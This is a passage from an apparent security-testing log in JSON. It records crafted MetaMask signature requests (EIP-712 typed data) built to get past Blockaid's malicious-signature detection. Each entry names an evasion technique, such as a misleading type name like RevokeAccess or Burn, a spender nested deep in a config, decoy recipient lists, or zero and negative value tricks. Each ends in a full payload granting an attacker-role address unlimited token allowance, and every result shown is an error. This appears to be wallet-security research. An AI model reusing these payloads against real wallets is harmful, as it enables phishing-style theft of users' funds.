Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xee5325061a1212ff2f08c9db1f40e0ec77935428d8fd3270df97d3e25d9e93a2\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN50-EIP3009-054", "timestamp": "2026-01-31T18:42:22.353Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb6be74e0eca8624dcec2f8315b6e19c666992281aa0d0d0e57bb2f18fe5290f2\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:42:31.909Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:42:41.454Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:42:51.017Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:43:00.568Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:43:10.111Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:43:19.664Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:43:29.224Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:43:38.773Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:43:48.329Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:43:57.887Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:44:07.450Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:44:17.004Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:44:26.568Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:44:36.126Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:44:45.669Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:44:55.225Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:45:04.782Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:45:14.347Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token 